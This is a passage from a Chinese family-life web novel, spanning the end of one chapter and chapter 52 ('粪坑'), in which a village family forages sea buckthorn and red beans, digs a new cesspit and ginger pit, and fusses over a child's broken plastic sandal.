二毛一溜烟跑去溪边，白春枝都来不及叫他，然后就听见小孩儿在那儿跺脚了。
“嗨哟，你去看看弟弟。”
白春枝见大毛还在偷笑，显然知道这东西酸，竟然也不提醒弟弟，接过他的小篮子，让他去瞧瞧。
返程的时候，二毛很是硬气的再也不理他小姑了，又捡了些稀奇古怪的东西，也是问白春枝，坚决不和白春芽
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说话。
“诶，这是一棵红豆树呢！”
这个时节，红豆树也结果了，不过还没自己爆开，白春芽拿树枝勾了些豆荚下来，只是她拎的篮子满了，又想用二毛的，转了个弯儿喊道。
“大毛，喊弟弟来，这儿可是好东西。”
前头寻宝的二毛的当然是听见，撅着屁股半天没动，只是对小姑的“好东西”有些不信的。
白春枝见二毛倒头偷看身后，就是不过来的，也是好笑。
平平无奇的豆荚没能吸引二毛带篮子过来，等白春芽掰开，一个个饱满的红色跳出来，马上就把人引过来了。
只是二毛还在赌气不理人，就偷摸在后边捡。
“这东西，穿手串还挺好看了。”
白春枝也蹲下捡了几颗，这红豆树的豆荚，不是平时吃的那种红豆，这个果子很硬，但颜色很好看，接近于正红，是很适合做手串。
“呀，那我们多弄点回去，小姑娘们肯定喜欢。”
白春枝抬头看了眼也是小姑娘的妹妹，无奈的笑了笑，确实，她喜欢的东西，一般都比较的好卖的，那些学生们跟她差不多大，正是爱美的年纪。
姑侄四个收获满满的往山下走，和两个嫂嫂汇合。
白大嫂和白二嫂就一个地方，便将两背篓的兔草割完了，这会儿正在一棵皂角树下打皂角。
“大毛二毛别靠近啊，这边都是刺！”
二毛是个什么热闹的都要凑的，见他妈妈在用杆子打树枝，又以为是什么好吃的，蹦蹦跳跳的就要过去了，还是老母亲先发现的，立即大喊道。
白春枝和白春芽一手篮子一手孩子，把俩孩子禁在身边了。
“不是吃的，你消停点啊。”
白春芽逮住的二毛，这毛孩子胳膊被拉住，整个身子快拧成麻花了。
“最近供销社进了上海肥皂，比我们本地的经用。”
白春枝想起李阿婆跟她讲的，她才去买了一块儿试试，他们本地的肥皂比较软，用起来就特别快，上海肥皂质地硬，起沫少，但也挺去污的。
“唉，这肥皂票都还没取消。”
家里人多，特别是还有几个毛孩子了，少不了要洗衣服，凭票买的肥皂根本不够用，村里人也习惯了用皂角，加几味中药熬水还直接拿来洗头了。
白春枝也是到了镇上才感觉用肥皂的方便，那香皂洗澡，还真的会留一股香味在身上呢！
“呀，还摘了沙棘呢！”
“嗨哟，你们运气好哦，这还遇上了。”
皂角捡完，两个嫂子也过来了，见到两大篮子的沙棘，都听惊喜了，往年只听村里人说了，不一定都能摘到的。
“妈妈，那个不好吃，酸酸苦苦的！”
二毛听到妈妈和婶婶在说沙棘，还以为她们不知道味道了，赶紧跑过来说道。
“看来我们二毛已经偷吃啦？”
白大嫂看二毛皱成一团的小脸，笑得更大声了。
“哥哥吃了没？”
“没。”
大毛摇摇头，他其实也想试试的，不过听了小姑的话，回去再吃。
“哼！”
看老妈不信自己，还笑他，二毛更生气啦。
“哈哈哈哈。”
52. 粪坑
回到白家，只见白母带着小毛在院子里摘菜。
“人都去哪儿了啊？”
白春芽进灶房拿了个大盆出来，问道，她看到猪圈已经有了个大致雏形，却没见到大哥他们在继续修了。
“后面呢！”
“粑粑！挖粑粑哦！挖粑粑哦哦！”
白母言简意赅地指了指后院，小毛却在一旁哇哇叫乱着，小小一个人儿凳子都快坐不住了，兴奋的不行。
“小毛，什么爸爸啊？”
二毛憨憨的上前问小毛，以为又是什么好玩儿的呢？
“粑粑！粑粑！”
小毛听不懂二哥在说什么，一个劲儿的重复“粑粑”两个字。
“小毛说的是粑粑，拉粑粑！”
“咦呀──”
二毛听到个哥哥说的，也不管真假了，立即嫌弃的退后两步，还皱着鼻子、小手不停的扇了扇，好像自己已经闻到了臭味。
“哎哟，就你作怪哦！”
白母摘完菜，起身拍了下二毛的屁股，又解释道。
“你爸他们在后院清理茅坑！”
“啊，茅坑满啦？”
二毛小小年纪知道的还挺多了。
也是前段时间暴雨，村里有家人的茅坑没盖严实瓦被吹翻了，不过一夜就灌满了，小孩儿们后面听说了一个个的都跑去看热闹，惹一身臭回来，还嘻嘻哈哈的觉得好玩。
白家后院的茅坑，跟隔壁家的挨得挺近的，又是竹林子，哪怕是春天挖笋，白母都三令五申的不准毛孩子去的，就怕他们跑惯了一个没看住出点什么意外。
今天家里人多，白春芽听说是要新挖一个，毕竟要养猪了，日常清洗猪圈，家里那个肯定是不够装，刚好自家种田多点沤肥，篮子里的沙棘也不慌着倒出来，就要去看了。
二毛好奇心大过怄气，又屁颠屁颠的跟着小姑去了，白春枝也牵着大毛走在后面。
“嗨哟，你们也是哦，挖个粪坑又啥好看的啊！”
白母摇了摇头，一手又把小毛抱起来，这个小家伙可不能跟着去了。
姑侄四个往后院去，这片竹林显然是少有人来的，除了挨着房檐走到茅坑，几乎没别的路可走。
“小心哦，对面又是别人家的茅坑了。”
相邻两家的后院由一条小沟隔开的，不下雨里面也没水，但堆满了竹叶，一脚踩下去也不得了，都不知道有没有腐臭。
“啊，好臭！爸爸真的在挖粪坑！”
二毛也是很好玩了，一边捂着鼻子，一边往里头钻，白春芽都要拉不住他了，回头对姐姐无奈的笑了笑。
现在虽然入秋了，但秋老虎的威力还在，林子里虽然不晒，但清理过的茅坑加上这温度，气味可想而知。
白春枝拉着大毛的小手，下脚都格外的仔细。
走到后院，自家原来用的茅坑其实已经清理完了，都盖上的，但挡不住臭味就是了，相当于是刚还搅和过的，不过白父几人鼻子算是暂时失灵了。
“爸爸！你怎么掉下去了！”
二毛小人，走到新茅坑面前了，才看到自家亲爹在下面了，当即也顾不上捏鼻子了，大声惊呼道。
“……”
这大嗓门儿，吓得后头的大毛差点崴了脚，白春枝连忙拉了一把，给他稳住了小身子。
“弟弟，爸爸是在挖泥巴呢！”
大两岁的大毛显然要懂得多些，在大人们都停下来不可思议的看着二毛这个小傻瓜时，好心的解释了一句。
“啊，爸爸，你下面好不好玩？”
白大哥被自家傻儿子噎了半会儿，又开始恢复挖土的动作，将下面的泥土都抛上来，二毛见了，却又像是见着什么的游戏了。
“二毛啊，你还是躲开点，小心栽下来，还有，看泥巴甩你身上了。”
小毛孩儿过来了，严重影响白大哥的进度，妹夫和小弟已经把上面的土推远了，但他又不得不停下来提醒道。
“二毛过来过来，别靠那么近了。”
白春芽将眼睛都快掉坑里的二毛拉走。
不过这毛孩子，是看什么都稀奇，他就是鲜少来后院的竹林，一放开了就乱窜，不过一会儿没看着就捉了个笋子虫。
“哥哥你看！”
二毛跑大毛跟前来献宝了。
“一会儿我们把烧来吃了！肯定特别香！”
“……”
白春枝一听二毛这么说，就知道这家伙是没吃过了，估计也是看别人吃过，馋了。
这笋子虫也是村里小孩儿大夏天最喜欢的了，白冬子小学时，放假了就爱钻竹林捉这个。
白春枝和妹妹在凉席上纳凉，小弟就会捉几个先给她们玩儿。
这笋子虫的玩法，也很有趣了，它的长腿有点类似于空心的，掰开一节，插上一根刷把签，它就会一直扇动翅膀，靠近一点就能感受到一阵风。
白春芽说，笋子虫就是她们的小风扇。
那是白春枝第一次对“风扇”这种电器，有了具象化的认识，等在供销社柜台感受过后，发现妹妹确实没说错，除了风力小点，还真就一样了，而且还不费电。
笋子虫最后的“电量耗尽”了，白冬子又重新收回，给烧来吃了……
白春枝和白春芽只闻过味儿，是一股肉香，但终究是没敢尝尝那味道的。
白春芽瞧着大毛二毛一脸没见识的样，都是他们玩儿剩下的了，拉着俩小屁孩儿，又教他们该怎么玩笋子虫了。
白春枝瞧着这算另一种“传承”了，摇头走到夫君那边。
“怎么这儿还挖一个坑了？”
萧远山和白冬子推完粪坑的土，又在这边挥动锄头了。
“大哥还要种生姜了。”
白冬子走了几步丈量着长宽，回答着大姐。
“我这会儿是真信了大嫂在院子里说大哥的话，他是真的受了刺激了。”
这一项项的，也是不嫌地里的活儿多。
“别听他瞎说。”
萧远山接过小娘子递过来的帕子擦了擦，笑道。
“也是计划着之后，养猪的话，粪肯定多的，自家田里不一定用得完，不如再种点生姜，总归就是多挖一个坑的事。”
“种点也好，我们小店有时候都有大娘问有没有卖姜蒜的，要自家的有，肯定卖得好。”
白春
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枝点点头，他们这儿的口味，就是吃个麻辣鲜香，平时炒菜少不了，何况生姜用处大着呢，去腥、驱寒，这个选择还挺有市场的。
“大哥还是有点眼光的。”
“……”
听到大姐还夸起大哥了，白冬子只能低头继续干活儿，家里如今是各个都有一脑门子的生意经了。
白春枝他们在后院没待多久，猪圈的新粪坑差不多是挖好了，大小深度合适了，剩下就是平整。
这下可拦不住二毛了，他看到爸爸和阿公在下面踩泥巴，这么好玩的事，怎么能少得了他呢！
“哥哥快来！”
二毛一般是什么事都忘不了哥哥的，但大毛通常是婉拒了，这回，臭小子是等不及了，手上的笋子虫也不要了，一把塞大毛手上就要下去了。
“诶，你等等啊，那么高！”
白春芽跟在后面，看那莽小子看都不看他爹还没准备好接他了就准备往下跳。
“啊啊——”
被拉住的二毛，一下嚎叫起来。
“怎么了？”
声音大到白春枝都感觉有些不对劲，匆匆过来问道。
“呜呜呜，我的脚，我的鞋，姑姑松手！”
众人一听，齐齐往二毛脚上看，右脚上的凉鞋，前面的带子不知道怎么断了，整个鞋底直接挪到后脚跟去了，卡着胖乎乎的小脚丫动弹不得，怪不得要嚎了。
“哎哟，看你蹦嘛，这下安逸了哇！”
白春芽可知道这凉鞋不便宜了。
本来是小毛的第一双鞋要她们俩姑姑来送了，她姐又看着人家供销社的塑料凉鞋特稀奇，又给大毛二毛各买了一双。
不过买回来就被老妈骂了一顿，小孩儿长得快，买了鞋也穿不了多久，这下好了，有二毛这费头子，真是穿不了两年的。
“呜呜，呜呜呜！”
被小姑一说，二毛哭得更伤心了，一开始是痛，这会儿也心疼上了凉鞋，塑料凉鞋在村里的小朋友中可是很有面儿的，好些大孩子都没有呢！
“好了好了，不哭了啊，等会儿老爸给你用火钳子烫一下就好了。”
只有半截深的坑，白大哥走过来伸手直接将二毛的小胖脚从凉鞋里拔了出来，瞧着塑料底和带子连接处研究了一下，说道。
“真的？”
二毛的眼泪瞬间止住了，顶着个大花脸还质疑他爹了。
“真的真的。”
白大哥盯着变脸如此快的二小子，刚刚哇哇哭的嗓子眼儿都能看见了，这会儿说收就收，也不知道他是不是真伤心了。
“好了，先回去了，等下我们这儿弄完就给你补鞋。”
“不，爸，你抱我下去耍一哈。”
“……”
白春芽在上面看她大哥有些想要打人的样子，忍不住笑出声了。
最后，兄弟俩都下去踩了会儿泥巴，也就趁着现在还是干净的，总比以后掉粪坑了强。
“把脚翘高点哈！”
白春芽抱着脚丫子脏兮兮的二毛，不断提醒他。
白春枝牵着玩过儿也一脸红晕的大毛，不禁也开始好奇她肚子里的孩子，性格会像谁了。